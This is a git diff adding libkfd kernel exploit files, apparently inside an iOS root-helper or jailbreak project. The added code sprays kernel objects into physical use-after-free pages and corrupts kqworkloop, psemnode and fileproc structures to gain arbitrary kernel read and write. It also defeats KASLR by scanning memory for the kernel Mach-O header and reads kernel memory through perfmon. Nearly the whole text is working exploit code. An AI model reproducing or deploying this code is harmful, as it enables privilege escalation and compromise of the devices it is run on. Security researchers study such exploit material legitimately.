+ timer_start();
+ krkw_helper_run_allocate(kfd, &kfd->kread);
+ krkw_helper_run_allocate(kfd, &kfd->kwrite);
+ krkw_helper_run_deallocate(kfd, &kfd->kread);
+ krkw_helper_run_deallocate(kfd, &kfd->kwrite);
+ timer_end();
+
+ return 0;
+}
+
+void krkw_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size)
+{
+ kfd->kread.krkw_method_ops.kread(kfd, kaddr, uaddr, size);
+}
+
+void krkw_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)
+{
+ kfd->kwrite.krkw_method_ops.kwrite(kfd, uaddr, kaddr, size);
+}
+
+void krkw_free(struct kfd* kfd)
+{
+ krkw_helper_free(kfd, &kfd->kread);
+ krkw_helper_free(kfd, &kfd->kwrite);
+}
+
+/*
+ * Helper krkw functions.
+ */
+
+void krkw_helper_init(struct kfd* kfd, struct krkw* krkw)
+{
+ krkw->krkw_method_ops.init(kfd);
+}
+
+int krkw_helper_grab_free_pages(struct kfd* kfd)
+{
+ timer_start();
+
+ const u64 copy_pages = (kfd->info.copy.size / pages(1));
+ const u64 grabbed_puaf_pages_goal = (kfd->puaf.number_of_puaf_pages / 4);
+ const u64 grabbed_free_pages_max = 400000;
+
+ for (u64 grabbed_free_pages = copy_pages; grabbed_free_pages < grabbed_free_pages_max; grabbed_free_pages += copy_pages) {
+ assert_mach(vm_copy(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size, kfd->info.copy.dst_uaddr));
+
+ u64 grabbed_puaf_pages = 0;
+ for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {
+ u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i];
+ if (!memcmp(info_copy_sentinel, (void*)(puaf_page_uaddr), info_copy_sentinel_size)) {
+ if (++grabbed_puaf_pages == grabbed_puaf_pages_goal) {
+ print_u64(grabbed_free_pages);
+ timer_end();
+ return 0;
+ }
+ }
+ }
+ }
+
+ print_warning("failed to grab free pages goal");
+ return -1;
+}
+
+void krkw_helper_run_allocate(struct kfd* kfd, struct krkw* krkw)
+{
+ timer_start();
+ const u64 batch_size = (pages(1) / krkw->krkw_object_size);
+
+ while (true) {
+ /*
+ * Spray a batch of objects, but stop if the maximum id has been reached.
+ */
+ bool maximum_reached = false;
+
+ for (u64 i = 0; i < batch_size; i++) {
+ if (krkw->krkw_allocated_id == krkw->krkw_maximum_id) {
+ maximum_reached = true;
+ break;
+ }
+
+ krkw->krkw_method_ops.allocate(kfd, krkw->krkw_allocated_id);
+ krkw->krkw_allocated_id++;
+ }
+
+ /*
+ * Search the puaf pages for the last batch of objects.
+ *
+ * Note that we make the following assumptions:
+ * - All objects have a 64-bit alignment.
+ * - All objects can be found within 1/16th of a page.
+ * - All objects have a size smaller than 15/16th of a page.
+ */
+ for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {
+ u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i];
+ u64 stop_uaddr = puaf_page_uaddr + (pages(1) / 16);
+ for (u64 object_uaddr = puaf_page_uaddr; object_uaddr < stop_uaddr; object_uaddr += sizeof(u64)) {
+ if (krkw->krkw_method_ops.search(kfd, object_uaddr)) {
+ krkw->krkw_searched_id = krkw->krkw_object_id;
+ krkw->krkw_object_uaddr = object_uaddr;
+ goto loop_break;
+ }
+ }
+ }
+
+ krkw->krkw_searched_id = krkw->krkw_allocated_id;
+
+ if (maximum_reached) {
+loop_break:
+ break;
+ }
+ }
+
+ timer_end();
+ const char* krkw_type = (krkw->krkw_method_ops.kread) ? "kread" : "kwrite";
+
+ if (!krkw->krkw_object_uaddr) {
+ for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {
+ u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i];
+ print_buffer(puaf_page_uaddr, 64);
+ }
+
+ assert_false(krkw_type);
+ }
+
+ print_message(
+ "%s ---> object_id = %llu, object_uaddr = 0x%016llx, object_size = %llu, allocated_id = %llu/%llu, batch_size = %llu",
+ krkw_type,
+ krkw->krkw_object_id,
+ krkw->krkw_object_uaddr,
+ krkw->krkw_object_size,
+ krkw->krkw_allocated_id,
+ krkw->krkw_maximum_id,
+ batch_size
+ );
+
+ print_buffer(krkw->krkw_object_uaddr, krkw->krkw_object_size);
+
+ if (!kfd->info.kaddr.current_proc) {
+ krkw->krkw_method_ops.find_proc(kfd);
+ }
+}
+
+void krkw_helper_run_deallocate(struct kfd* kfd, struct krkw* krkw)
+{
+ timer_start();
+
+ for (u64 id = 0; id < krkw->krkw_allocated_id; id++) {
+ if (id == krkw->krkw_object_id) {
+ continue;
+ }
+
+ krkw->krkw_method_ops.deallocate(kfd, id);
+ }
+
+ timer_end();
+}
+
+void krkw_helper_free(struct kfd* kfd, struct krkw* krkw)
+{
+ krkw->krkw_method_ops.free(kfd);
+
+ if (krkw->krkw_method_data) {
+ bzero_free(krkw->krkw_method_data, krkw->krkw_method_data_size);
+ }
+}
+
+#endif /* krkw_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h
new file mode 100644
index 00000000..ac0334b1
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h
@@ -0,0 +1,108 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef kread_kqueue_workloop_ctl_h
+#define kread_kqueue_workloop_ctl_h
+
+const u64 kread_kqueue_workloop_ctl_sentinel = 0x1122334455667788;
+
+u64 kread_kqueue_workloop_ctl_kread_u64(struct kfd* kfd, u64 kaddr);
+
+void kread_kqueue_workloop_ctl_init(struct kfd* kfd)
+{
+ kfd->kread.krkw_maximum_id = 100000;
+ kfd->kread.krkw_object_size = sizeof(struct kqworkloop);
+}
+
+void kread_kqueue_workloop_ctl_allocate(struct kfd* kfd, u64 id)
+{
+ struct kqueue_workloop_params params = {
+ .kqwlp_version = (i32)(sizeof(params)),
+ .kqwlp_flags = KQ_WORKLOOP_CREATE_SCHED_PRI,
+ .kqwlp_id = id + kread_kqueue_workloop_ctl_sentinel,
+ .kqwlp_sched_pri = 1,
+ };
+
+ u64 cmd = KQ_WORKLOOP_CREATE;
+ u64 options = 0;
+ u64 addr = (u64)(¶ms);
+ usize sz = (usize)(params.kqwlp_version);
+ assert_bsd(syscall(SYS_kqueue_workloop_ctl, cmd, options, addr, sz));
+}
+
+bool kread_kqueue_workloop_ctl_search(struct kfd* kfd, u64 object_uaddr)
+{
+ volatile struct kqworkloop* kqwl = (volatile struct kqworkloop*)(object_uaddr);
+ u64 sentinel_min = kread_kqueue_workloop_ctl_sentinel;
+ u64 sentinel_max = sentinel_min + kfd->kread.krkw_allocated_id;
+
+ u16 kqwl_state = kqwl->kqwl_kqueue.kq_state;
+ u64 kqwl_dynamicid = kqwl->kqwl_dynamicid;
+
+ if ((kqwl_state == (KQ_KEV_QOS | KQ_WORKLOOP | KQ_DYNAMIC)) &&
+ (kqwl_dynamicid >= sentinel_min) &&
+ (kqwl_dynamicid < sentinel_max)) {
+ u64 object_id = kqwl_dynamicid - sentinel_min;
+ kfd->kread.krkw_object_id = object_id;
+ return true;
+ }
+
+ return false;
+}
+
+void kread_kqueue_workloop_ctl_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size)
+{
+ kread_from_method(u64, kread_kqueue_workloop_ctl_kread_u64);
+}
+
+void kread_kqueue_workloop_ctl_find_proc(struct kfd* kfd)
+{
+ volatile struct kqworkloop* kqwl = (volatile struct kqworkloop*)(kfd->kread.krkw_object_uaddr);
+ kfd->info.kaddr.current_proc = kqwl->kqwl_kqueue.kq_p;
+}
+
+void kread_kqueue_workloop_ctl_deallocate(struct kfd* kfd, u64 id)
+{
+ struct kqueue_workloop_params params = {
+ .kqwlp_version = (i32)(sizeof(params)),
+ .kqwlp_id = id + kread_kqueue_workloop_ctl_sentinel,
+ };
+
+ u64 cmd = KQ_WORKLOOP_DESTROY;
+ u64 options = 0;
+ u64 addr = (u64)(¶ms);
+ usize sz = (usize)(params.kqwlp_version);
+ assert_bsd(syscall(SYS_kqueue_workloop_ctl, cmd, options, addr, sz));
+}
+
+void kread_kqueue_workloop_ctl_free(struct kfd* kfd)
+{
+ kread_kqueue_workloop_ctl_deallocate(kfd, kfd->kread.krkw_object_id);
+}
+
+/*
+ * 64-bit kread function.
+ */
+
+u64 kread_kqueue_workloop_ctl_kread_u64(struct kfd* kfd, u64 kaddr)
+{
+ volatile struct kqworkloop* kqwl = (volatile struct kqworkloop*)(kfd->kread.krkw_object_uaddr);
+ u64 old_kqwl_owner = kqwl->kqwl_owner;
+ u64 new_kqwl_owner = kaddr - dynamic_info(thread__thread_id);
+ kqwl->kqwl_owner = new_kqwl_owner;
+
+ struct kqueue_dyninfo data = {};
+ i32 callnum = PROC_INFO_CALL_PIDDYNKQUEUEINFO;
+ i32 pid = kfd->info.env.pid;
+ u32 flavor = PROC_PIDDYNKQUEUE_INFO;
+ u64 arg = kfd->kread.krkw_object_id + kread_kqueue_workloop_ctl_sentinel;
+ u64 buffer = (u64)(&data);
+ i32 buffersize = (i32)(sizeof(struct kqueue_dyninfo));
+ assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);
+
+ kqwl->kqwl_owner = old_kqwl_owner;
+ return data.kqdi_owner;
+}
+
+#endif /* kread_kqueue_workloop_ctl_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_sem_open.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_sem_open.h
new file mode 100644
index 00000000..04a12874
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_sem_open.h
@@ -0,0 +1,253 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef kread_sem_open_h
+#define kread_sem_open_h
+
+#include "../../../fun/kpf/libdimentio.h"
+#include "../../../fun/kpf/patchfinder.h"
+
+const char* kread_sem_open_name = "kfd-posix-semaphore";
+
+u64 kread_sem_open_kread_u64(struct kfd* kfd, u64 kaddr);
+u32 kread_sem_open_kread_u32(struct kfd* kfd, u64 kaddr);
+
+void kread_sem_open_init(struct kfd* kfd)
+{
+ kfd->kread.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100;
+ kfd->kread.krkw_object_size = sizeof(struct psemnode);
+
+ kfd->kread.krkw_method_data_size = ((kfd->kread.krkw_maximum_id + 1) * (sizeof(i32))) + sizeof(struct psem_fdinfo);
+ kfd->kread.krkw_method_data = malloc_bzero(kfd->kread.krkw_method_data_size);
+
+ sem_unlink(kread_sem_open_name);
+ i32 sem_fd = (i32)(usize)(sem_open(kread_sem_open_name, (O_CREAT | O_EXCL), (S_IRUSR | S_IWUSR), 0));
+ assert(sem_fd > 0);
+
+ i32* fds = (i32*)(kfd->kread.krkw_method_data);
+ fds[kfd->kread.krkw_maximum_id] = sem_fd;
+
+ struct psem_fdinfo* sem_data = (struct psem_fdinfo*)(&fds[kfd->kread.krkw_maximum_id + 1]);
+ i32 callnum = PROC_INFO_CALL_PIDFDINFO;
+ i32 pid = kfd->info.env.pid;
+ u32 flavor = PROC_PIDFDPSEMINFO;
+ u64 arg = sem_fd;
+ u64 buffer = (u64)(sem_data);
+ i32 buffersize = (i32)(sizeof(struct psem_fdinfo));
+ assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);
+}
+
+void kread_sem_open_allocate(struct kfd* kfd, u64 id)
+{
+ i32 fd = (i32)(usize)(sem_open(kread_sem_open_name, 0, 0, 0));
+ assert(fd > 0);
+
+ i32* fds = (i32*)(kfd->kread.krkw_method_data);
+ fds[id] = fd;
+}
+
+bool kread_sem_open_search(struct kfd* kfd, u64 object_uaddr)
+{
+ volatile struct psemnode* pnode = (volatile struct psemnode*)(object_uaddr);
+ i32* fds = (i32*)(kfd->kread.krkw_method_data);
+ struct psem_fdinfo* sem_data = (struct psem_fdinfo*)(&fds[kfd->kread.krkw_maximum_id + 1]);
+
+ if ((pnode[0].pinfo > PAC_MASK) &&
+ (pnode[1].pinfo == pnode[0].pinfo) &&
+ (pnode[2].pinfo == pnode[0].pinfo) &&
+ (pnode[3].pinfo == pnode[0].pinfo) &&
+ (pnode[0].padding == 0) &&
+ (pnode[1].padding == 0) &&
+ (pnode[2].padding == 0) &&
+ (pnode[3].padding == 0)) {
+ for (u64 object_id = kfd->kread.krkw_searched_id; object_id < kfd->kread.krkw_allocated_id; object_id++) {
+ struct psem_fdinfo data = {};
+ i32 callnum = PROC_INFO_CALL_PIDFDINFO;
+ i32 pid = kfd->info.env.pid;
+ u32 flavor = PROC_PIDFDPSEMINFO;
+ u64 arg = fds[object_id];
+ u64 buffer = (u64)(&data);
+ i32 buffersize = (i32)(sizeof(struct psem_fdinfo));
+
+ const u64 shift_amount = 4;
+ pnode[0].pinfo += shift_amount;
+ assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);
+ pnode[0].pinfo -= shift_amount;
+
+ if (!memcmp(&data.pseminfo.psem_name[0], &sem_data->pseminfo.psem_name[shift_amount], 16)) {
+ kfd->kread.krkw_object_id = object_id;
+ return true;
+ }
+ }
+
+ /*
+ * False alarm: it wasn't one of our psemmode objects.
+ */
+ print_warning("failed to find modified psem_name sentinel");
+ }
+
+ return false;
+}
+
+void kread_sem_open_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size)
+{
+ kread_from_method(u64, kread_sem_open_kread_u64);
+}
+
+void kread_sem_open_find_proc(struct kfd* kfd)
+{
+ volatile struct psemnode* pnode = (volatile struct psemnode*)(kfd->kread.krkw_object_uaddr);
+ u64 pseminfo_kaddr = pnode->pinfo;
+ u64 semaphore_kaddr = static_kget(struct pseminfo, psem_semobject, pseminfo_kaddr);
+ u64 task_kaddr = static_kget(struct semaphore, owner, semaphore_kaddr);
+
+
+ bool EXPERIMENTAL_DYNAMIC_PATCHFINDER = true;
+ if(import_kfd_offsets() == -1 && EXPERIMENTAL_DYNAMIC_PATCHFINDER) {
+ //Step 1. break kaslr
+ printf("kernel_task: 0x%llx\n", task_kaddr);
+
+ uint64_t kerntask_vm_map = 0;
+ kread((u64)kfd, task_kaddr + 0x28, &kerntask_vm_map, sizeof(kerntask_vm_map));
+ kerntask_vm_map = UNSIGN_PTR(kerntask_vm_map);
+ printf("kernel_task->vm_map: 0x%llx\n", kerntask_vm_map);
+
+ uint64_t kerntask_pmap = 0;
+ kread((u64)kfd, kerntask_vm_map + 0x40, &kerntask_pmap, sizeof(kerntask_pmap));
+ kerntask_pmap = UNSIGN_PTR(kerntask_pmap);
+ printf("kernel_task->vm_map->pmap: 0x%llx\n", kerntask_pmap);
+
+ /* Pointer to the root translation table. */ /* translation table entry */
+ uint64_t kerntask_tte = 0;
+ kread((u64)kfd, kerntask_pmap, &kerntask_tte, sizeof(kerntask_tte));
+ kerntask_tte = UNSIGN_PTR(kerntask_tte);
+ printf("kernel_task->vm_map->pmap->tte: 0x%llx\n", kerntask_tte);
+
+ uint64_t kerntask_tte_page = kerntask_tte & ~(0xfff);
+ printf("kerntask_tte_page: 0x%llx\n", kerntask_tte_page);
+
+ uint64_t kbase = 0;
+ while (true) {
+ uint64_t val = 0;
+ kread((u64)kfd, kerntask_tte_page, &val, sizeof(val));
+ if(val == 0x100000cfeedfacf) {
+ kread((u64)kfd, kerntask_tte_page + 0x18, &val, sizeof(val));
+ //arm64e: check if mach_header_64->flags, mach_header_64->reserved are all 0
+ //arm64: check if mach_header_64->flags == 0x200001 and mach_header_64->reserved == 0; 0x200001
+ if(val == 0 || val == 0x200001) {
+ kbase = kerntask_tte_page;
+ break;
+ }
+ }
+ kerntask_tte_page -= 0x1000;
+ }
+ uint64_t vm_kernel_link_addr = get_vm_kernel_link_addr();
+ printf("defeated kaslr, kbase: 0x%llx, kslide: 0x%llx\n", kbase, kbase - vm_kernel_link_addr);
+
+ //Step 2. run dynamic patchfinder
+ do_dynamic_patchfinder((u64)kfd, kbase);
+ }
+
+ //Step 3. set offsets from patchfinder or import_kfd_offsets().
+ kern_versions[kfd->info.env.vid].kernelcache__cdevsw = off_cdevsw;
+ kern_versions[kfd->info.env.vid].kernelcache__gPhysBase = off_gPhysBase;
+ kern_versions[kfd->info.env.vid].kernelcache__gPhysSize = off_gPhysSize;
+ kern_versions[kfd->info.env.vid].kernelcache__gVirtBase = off_gVirtBase;
+ kern_versions[kfd->info.env.vid].kernelcache__perfmon_dev_open = off_perfmon_dev_open;
+ kern_versions[kfd->info.env.vid].kernelcache__perfmon_devices = off_perfmon_devices;
+ kern_versions[kfd->info.env.vid].kernelcache__ptov_table = off_ptov_table;
+ kern_versions[kfd->info.env.vid].kernelcache__vn_kqfilter = off_vn_kqfilter;
+ kern_versions[kfd->info.env.vid].proc__object_size = off_proc_object_size;
+
+ u64 proc_kaddr = task_kaddr - dynamic_info(proc__object_size);
+ kfd->info.kaddr.kernel_proc = proc_kaddr;
+
+ /*
+ * Go backwards from the kernel_proc, which is the last proc in the list.
+ */
+ while (true) {
+ i32 pid = dynamic_kget(proc__p_pid, proc_kaddr);
+ if (pid == kfd->info.env.pid) {
+ kfd->info.kaddr.current_proc = proc_kaddr;
+ break;
+ }
+
+ proc_kaddr = dynamic_kget(proc__p_list__le_prev, proc_kaddr);
+ }
+}
+
+void kread_sem_open_deallocate(struct kfd* kfd, u64 id)
+{
+ /*
+ * Let kwrite_sem_open_deallocate() take care of
+ * deallocating all the shared file descriptors.
+ */
+ return;
+}
+
+void kread_sem_open_free(struct kfd* kfd)
+{
+ /*
+ * Let's null out the kread reference to the shared data buffer
+ * because kwrite_sem_open_free() needs it and will free it.
+ */
+ kfd->kread.krkw_method_data = NULL;
+}
+
+/*
+ * 64-bit kread function.
+ */
+
+u64 kread_sem_open_kread_u64(struct kfd* kfd, u64 kaddr)
+{
+ i32* fds = (i32*)(kfd->kread.krkw_method_data);
+ i32 kread_fd = fds[kfd->kread.krkw_object_id];
+
+ volatile struct psemnode* pnode = (volatile struct psemnode*)(kfd->kread.krkw_object_uaddr);
+ u64 old_pinfo = pnode->pinfo;
+ u64 new_pinfo = kaddr - offsetof(struct pseminfo, psem_uid);
+ pnode->pinfo = new_pinfo;
+
+ struct psem_fdinfo data = {};
+ i32 callnum = PROC_INFO_CALL_PIDFDINFO;
+ i32 pid = kfd->info.env.pid;
+ u32 flavor = PROC_PIDFDPSEMINFO;
+ u64 arg = kread_fd;
+ u64 buffer = (u64)(&data);
+ i32 buffersize = (i32)(sizeof(struct psem_fdinfo));
+ assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);
+
+ pnode->pinfo = old_pinfo;
+ return *(u64*)(&data.pseminfo.psem_stat.vst_uid);
+}
+
+/*
+ * 32-bit kread function that is guaranteed to not underflow a page,
+ * i.e. those 4 bytes are the first 4 bytes read by the modified kernel pointer.
+ */
+
+u32 kread_sem_open_kread_u32(struct kfd* kfd, u64 kaddr)
+{
+ i32* fds = (i32*)(kfd->kread.krkw_method_data);
+ i32 kread_fd = fds[kfd->kread.krkw_object_id];
+
+ volatile struct psemnode* pnode = (volatile struct psemnode*)(kfd->kread.krkw_object_uaddr);
+ u64 old_pinfo = pnode->pinfo;
+ u64 new_pinfo = kaddr - offsetof(struct pseminfo, psem_usecount);
+ pnode->pinfo = new_pinfo;
+
+ struct psem_fdinfo data = {};
+ i32 callnum = PROC_INFO_CALL_PIDFDINFO;
+ i32 pid = kfd->info.env.pid;
+ u32 flavor = PROC_PIDFDPSEMINFO;
+ u64 arg = kread_fd;
+ u64 buffer = (u64)(&data);
+ i32 buffersize = (i32)(sizeof(struct psem_fdinfo));
+ assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);
+
+ pnode->pinfo = old_pinfo;
+ return *(u32*)(&data.pseminfo.psem_stat.vst_size);
+}
+
+#endif /* kread_sem_open_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_dup.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_dup.h
new file mode 100644
index 00000000..25200436
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_dup.h
@@ -0,0 +1,145 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef kwrite_dup_h
+#define kwrite_dup_h
+
+void kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value);
+
+void kwrite_dup_init(struct kfd* kfd)
+{
+ kfd->kwrite.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100;
+ kfd->kwrite.krkw_object_size = sizeof(struct fileproc);
+
+ kfd->kwrite.krkw_method_data_size = ((kfd->kwrite.krkw_maximum_id + 1) * (sizeof(i32)));
+ kfd->kwrite.krkw_method_data = malloc_bzero(kfd->kwrite.krkw_method_data_size);
+
+ i32 kqueue_fd = kqueue();
+ assert(kqueue_fd > 0);
+
+ i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
+ fds[kfd->kwrite.krkw_maximum_id] = kqueue_fd;
+}
+
+void kwrite_dup_allocate(struct kfd* kfd, u64 id)
+{
+ i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
+ i32 kqueue_fd = fds[kfd->kwrite.krkw_maximum_id];
+ i32 fd = dup(kqueue_fd);
+ assert(fd > 0);
+ fds[id] = fd;
+}
+
+bool kwrite_dup_search(struct kfd* kfd, u64 object_uaddr)
+{
+ volatile struct fileproc* fp = (volatile struct fileproc*)(object_uaddr);
+ i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
+
+ if ((fp->fp_iocount == 1) &&
+ (fp->fp_vflags == 0) &&
+ (fp->fp_flags == 0) &&
+ (fp->fp_guard_attrs == 0) &&
+ (fp->fp_glob > PTR_MASK) &&
+ (fp->fp_guard == 0)) {
+ for (u64 object_id = kfd->kwrite.krkw_searched_id; object_id < kfd->kwrite.krkw_allocated_id; object_id++) {
+ assert_bsd(fcntl(fds[object_id], F_SETFD, FD_CLOEXEC));
+
+ if (fp->fp_flags == 1) {
+ kfd->kwrite.krkw_object_id = object_id;
+ return true;
+ }
+
+ assert_bsd(fcntl(fds[object_id], F_SETFD, 0));
+ }
+
+ /*
+ * False alarm: it wasn't one of our fileproc objects.
+ */
+ print_warning("failed to find modified fp_flags sentinel");
+ }
+
+ return false;
+}
+
+void kwrite_dup_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)
+{
+ kwrite_from_method(u64, kwrite_dup_kwrite_u64);
+}
+
+void kwrite_dup_find_proc(struct kfd* kfd)
+{
+ /*
+ * Assume that kread is responsible for that.
+ */
+ return;
+}
+
+void kwrite_dup_deallocate(struct kfd* kfd, u64 id)
+{
+ i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
+ assert_bsd(close(fds[id]));
+}
+
+void kwrite_dup_free(struct kfd* kfd)
+{
+ kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_object_id);
+ kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_maximum_id);
+}
+
+/*
+ * 64-bit kwrite function.
+ */
+
+void kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value)
+{
+ if (new_value == 0) {
+ print_warning("cannot write 0");
+ return;
+ }
+
+ i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
+ i32 kwrite_fd = fds[kfd->kwrite.krkw_object_id];
+ u64 fileproc_uaddr = kfd->kwrite.krkw_object_uaddr;
+ volatile struct fileproc* fp = (volatile struct fileproc*)(fileproc_uaddr);
+
+ const bool allow_retry = false;
+
+ do {
+ u64 old_value = 0;
+ kread((u64)(kfd), kaddr, &old_value, sizeof(old_value));
+
+ if (old_value == 0) {
+ print_warning("cannot overwrite 0");
+ return;
+ }
+
+ if (old_value == new_value) {
+ break;
+ }
+
+ u16 old_fp_guard_attrs = fp->fp_guard_attrs;
+ u16 new_fp_guard_attrs = GUARD_REQUIRED;
+ fp->fp_guard_attrs = new_fp_guard_attrs;
+
+ u64 old_fp_guard = fp->fp_guard;
+ u64 new_fp_guard = kaddr - offsetof(struct fileproc_guard, fpg_guard);
+ fp->fp_guard = new_fp_guard;
+
+ u64 guard = old_value;
+ u32 guardflags = GUARD_REQUIRED;
+ u64 nguard = new_value;
+ u32 nguardflags = GUARD_REQUIRED;
+
+ if (allow_retry) {
+ syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL);
+ } else {
+ assert_bsd(syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL));
+ }
+
+ fp->fp_guard_attrs = old_fp_guard_attrs;
+ fp->fp_guard = old_fp_guard;
+ } while (allow_retry);
+}
+
+#endif /* kwrite_dup_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_sem_open.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_sem_open.h
new file mode 100644
index 00000000..115bf69c
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_sem_open.h
@@ -0,0 +1,86 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef kwrite_sem_open_h
+#define kwrite_sem_open_h
+
+void kwrite_sem_open_init(struct kfd* kfd)
+{
+ kfd->kwrite.krkw_maximum_id = kfd->kread.krkw_maximum_id;
+ kfd->kwrite.krkw_object_size = sizeof(struct fileproc);
+
+ kfd->kwrite.krkw_method_data_size = kfd->kread.krkw_method_data_size;
+ kfd->kwrite.krkw_method_data = kfd->kread.krkw_method_data;
+}
+
+void kwrite_sem_open_allocate(struct kfd* kfd, u64 id)
+{
+ if (id == 0) {
+ id = kfd->kwrite.krkw_allocated_id = kfd->kread.krkw_allocated_id;
+ if (kfd->kwrite.krkw_allocated_id == kfd->kwrite.krkw_maximum_id) {
+ /*
+ * Decrement krkw_allocated_id to account for increment in
+ * krkw_helper_run_allocate(), because we return without allocating.
+ */
+ kfd->kwrite.krkw_allocated_id--;
+ return;
+ }
+ }
+
+ /*
+ * Just piggyback.
+ */
+ kread_sem_open_allocate(kfd, id);
+}
+
+bool kwrite_sem_open_search(struct kfd* kfd, u64 object_uaddr)
+{
+ /*
+ * Just piggyback.
+ */
+ return kwrite_dup_search(kfd, object_uaddr);
+}
+
+void kwrite_sem_open_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)
+{
+ /*
+ * Just piggyback.
+ */
+ kwrite_dup_kwrite(kfd, uaddr, kaddr, size);
+}
+
+void kwrite_sem_open_find_proc(struct kfd* kfd)
+{
+ /*
+ * Assume that kread is responsible for that.
+ */
+ return;
+}
+
+void kwrite_sem_open_deallocate(struct kfd* kfd, u64 id)
+{
+ /*
+ * Skip the deallocation for the kread object because we are
+ * responsible for deallocating all the shared file descriptors.
+ */
+ if (id != kfd->kread.krkw_object_id) {
+ i32* fds = (i32*)(kfd->kwrite.krkw_method_data);
+ assert_bsd(close(fds[id]));
+ }
+}
+
+void kwrite_sem_open_free(struct kfd* kfd)
+{
+ /*
+ * Note that we are responsible to deallocate the kread object, but we must
+ * discard its object id because of the check in kwrite_sem_open_deallocate().
+ */
+ u64 kread_id = kfd->kread.krkw_object_id;
+ kfd->kread.krkw_object_id = (-1);
+ kwrite_sem_open_deallocate(kfd, kread_id);
+ kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_object_id);
+ kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_maximum_id);
+}
+
+#endif /* kwrite_sem_open_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/perf.h b/RootHelperSample/launchdshim/launchdhook/libkfd/perf.h
new file mode 100644
index 00000000..e0ea8222
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/perf.h
@@ -0,0 +1,323 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef perf_h
+#define perf_h
+
+// Forward declarations for helper functions.
+u64 phystokv(struct kfd* kfd, u64 pa);
+u64 vtophys(struct kfd* kfd, u64 va);
+
+void perf_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size)
+{
+ assert((size != 0) && (size <= UINT16_MAX));
+ assert(kfd->perf.shared_page.uaddr);
+ assert(kfd->perf.shared_page.kaddr);
+
+ volatile struct perfmon_config* config = (volatile struct perfmon_config*)(kfd->perf.shared_page.uaddr);
+ *config = (volatile struct perfmon_config){};
+ config->pc_spec.ps_events = (struct perfmon_event*)(kaddr);
+ config->pc_spec.ps_event_count = (u16)(size);
+
+ struct perfmon_spec spec_buffer = {};
+ spec_buffer.ps_events = (struct perfmon_event*)(uaddr);
+ spec_buffer.ps_event_count = (u16)(size);
+ assert_bsd(ioctl(kfd->perf.dev.fd, PERFMON_CTL_SPECIFY, &spec_buffer));
+
+ *config = (volatile struct perfmon_config){};
+}
+
+void perf_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)
+{
+ assert((size != 0) && ((size % sizeof(u64)) == 0));
+ assert(kfd->perf.shared_page.uaddr);
+ assert(kfd->perf.shared_page.kaddr);
+
+ volatile struct perfmon_config* config = (volatile struct perfmon_config*)(kfd->perf.shared_page.uaddr);
